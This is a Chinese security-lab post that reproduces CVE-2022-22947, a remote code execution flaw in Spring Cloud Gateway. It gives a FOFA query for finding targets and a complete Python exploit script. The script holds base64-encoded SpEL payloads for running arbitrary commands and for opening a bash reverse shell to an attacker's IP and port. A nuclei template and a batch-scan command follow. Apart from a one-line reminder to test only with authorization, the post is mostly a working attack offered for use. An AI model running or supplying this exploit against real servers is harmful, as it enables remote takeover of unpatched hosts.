0x01 漏洞描述
SpringCloudGateway提供了一个库,用于在SpringWebFlux之上构建API网关。在3.1.0和3.0.6之前的版本中使用SpringCloudGateway的应用程序在启用、暴露和不安全的GatewayActuator端点时容易受到代码注入攻击。远程攻击者可以发出恶意制作的请求,允许在远程主机上进行任意远程执行。
0x02 漏洞复现
漏洞影响:
Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7
Spring Cloud Gateway 其他已不再更新的版本
FOFA:app="spring"
1.使用rce脚本进行反弹shell,nc监听得到一个shell
脚本地址:
https://github.com/aodsec/CVE-2022-22947
命令:
python3 CVE-2022-22947.py http://目标地址 反弹IP 反弹端口
脚本:
import requests
import json
import base64
import re
import random
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def generate_random_str(randomlength=16):
random_str = ''
base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz'
length = len(base_str) - 1
for i in range(randomlength):
random_str += base_str[random.randint(0, length)]
return random_str
new_str = generate_random_str()
payload1 = '/actuator/gateway/routes/'+new_str
payload2 = '/actuator/gateway/refresh'
payload3 = '/actuator/gateway/routes/'+new_str
headers = {
'Accept-Encoding': 'gzip, deflate',
'Accept': '*/*',
'Accept-Language': 'en',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
'Connection': 'close',
'Content-Type': 'application/json'
}
proxies = {
'http': 'http://192.168.1.119:8080'
}
data = 'eyAiaWQiOiAiYW9kU0VDIiwgImZpbHRlcnMiOiBbeyAibmFtZSI6ICJBZGRSZXNwb25zZUhlYWRlciIsICJhcmdzIjogeyAibmFtZSI6ICJSZXN1bHQiLCAidmFsdWUiOiAiI3tuZXcgU3RyaW5nKFQob3JnLnNwcmluZ2ZyYW1ld29yay51dGlsLlN0cmVhbVV0aWxzKS5jb3B5VG9CeXRlQXJyYXkoVChqYXZhLmxhbmcuUnVudGltZSkuZ2V0UnVudGltZSgpLmV4ZWMobmV3IFN0cmluZ1tde1wiQ21kXCJ9KS5nZXRJbnB1dFN0cmVhbSgpKSl9IiB9IH1dLCAidXJpIjogImh0dHA6Ly9leGFtcGxlLmNvbSIgfQ=='
shell = 'eyAiaWQiOiAiYW9kU0VDIiwgImZpbHRlcnMiOiBbeyAibmFtZSI6ICJBZGRSZXNwb25zZUhlYWRlciIsICJhcmdzIjogeyAibmFtZSI6ICJSZXN1bHQiLCAidmFsdWUiOiAiI3tuZXcgU3RyaW5nKFQob3JnLnNwcmluZ2ZyYW1ld29yay51dGlsLlN0cmVhbVV0aWxzKS5jb3B5VG9CeXRlQXJyYXkoVChqYXZhLmxhbmcuUnVudGltZSkuZ2V0UnVudGltZSgpLmV4ZWMobmV3IFN0cmluZ1tde1wiL2Jpbi9iYXNoXCIsXCItY1wiLFwiYmFzaCAtaSA+JiAvZGV2L3RjcC9MX0lQL0xfUE9SVCAwPiYxXCJ9KS5nZXRJbnB1dFN0cmVhbSgpKSl9IiB9IH1dLCAidXJpIjogImh0dHA6Ly9leGFtcGxlLmNvbSIgfQ=='
data1 = {
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Connection': 'close',
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '0'
}
def exec(url,cmd):
requests.post(url+payload1,headers=headers,data=base64.b64decode(data).decode().replace('Cmd',cmd).replace('aodSEC',new_str),verify=False,timeout=5)
requests.post(url+payload2,headers=headers,data=data1,verify=False,timeout=5)
a = requests.get(url+payload3,headers=headers,verify=False,timeout=5).text
exec = re.findall(r'Result = ['"]?([^'" )]+)', a)
print(exec)
def exec_shell(url,l_ip,l_port):
requests.post(url+payload1,headers=headers,data=base64.b64decode(shell).decode().replace('L_IP',l_ip).replace('L_PORT',l_port).replace('aodSEC',new_str),verify=False,timeout=5)
requests.post(url+payload2,headers=headers,data=data1,verify=False,timeout=5)
a = requests.get(url+payload3,headers=headers,verify=False,timeout=5).text
exec = re.findall(r'Result = ['"]?([^'" )]+)', a)
print(exec)
if __name__ == '__main__':
if len(sys.argv)==3:
url = sys.argv[1]
cmd = sys.argv[2]
exec(url,cmd)
elif len(sys.argv)==4:
url = sys.argv[1]
l_ip = sys.argv[2]
l_port = sys.argv[3]
try:
exec_shell(url,l_ip,l_port)
except:
print("done!!!")
else:
print('+-------------------------------------------------------------------+')
print('+-------------------------------------------------------------------+')
print('+ USE: python3 CVE-2022-22947.py url whoami +')
print('+ USE: python3 CVE-2022-22947.py url l_ip l_port +')
print('+-------------------------------------------------------------------+')
sys.exit()
2.nuclei已经集成该漏洞脚本(nuclei稳定快,编写poc简单,有社区维护,推荐使用)
nuclei下载地址:https://github.com/projectdiscovery/nuclei
批量验证命令:
nuclei.exe -t cves/2022/CVE-2022-22947.yaml -l subs.txt
yaml POC:
id: CVE-2022-22947
info:
name: Spring Cloud Gateway Code Injection
author: pdteam
severity: critical
description: Applications using Spring Cloud Gateway prior to 3.1.1+ and 3.0.7+ are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured. A remote attacker could make a maliciously crafted request that could allow arbitrary remote execution on the remote host.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2022-22947
- https://wya.pl/2022/02/26/cve-2022-22947-spel-casting-and-evil-beans/
- https://github.com/wdahlenburg/spring-gateway-demo
- https://spring.io/blog/2022/03/01/spring-cloud-gateway-cve-reports-published
- https://tanzu.vmware.com/security/cve-2022-22947
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2022-22947
cwe-id: CWE-94
tags: cve,cve2022,apache,spring,vmware,actuator,oast
requests:
- raw:
- |
POST /actuator/gateway/routes/{{randstr}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/{{randstr}}/**"
}
}
],
"filters": [
{
"name": "RewritePath",
"args": {
"_genkey_0": "#{T(java.net.InetAddress).getByName("{{interactsh-url}}")}",
"_genkey_1": "/${path}"
}
}
],
"uri": "{{RootURL}}",
"order": 0
}
- |
POST /actuator/gateway/refresh HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{
"predicate": "Paths: [/{{randstr}}], match trailing slash: true",
"route_id": "{{randstr}}",
"filters": [
"[[RewritePath #{T(java.net.InetAddress).getByName("{{interactsh-url}}")} = /${path}], order = 1]"
],
"uri": "{{RootURL}}",
"order": 0
}
- |
DELETE /actuator/gateway/routes/{{randstr}} HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: status
status:
- 201
- type: word
part: header
words:
- "/routes/{{randstr}}"
- type: word
part: interactsh_protocol
words:
- "dns"
# Enhanced by mp on 2022/03/08
(注:要在正规授权情况下测试网站:日站不规范,亲人泪两行)
0x03 公司简介
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原文始发于微信公众号(融云攻防实验室):漏洞复现 CVE-2022-22947 Spring Cloud Gateway RCE
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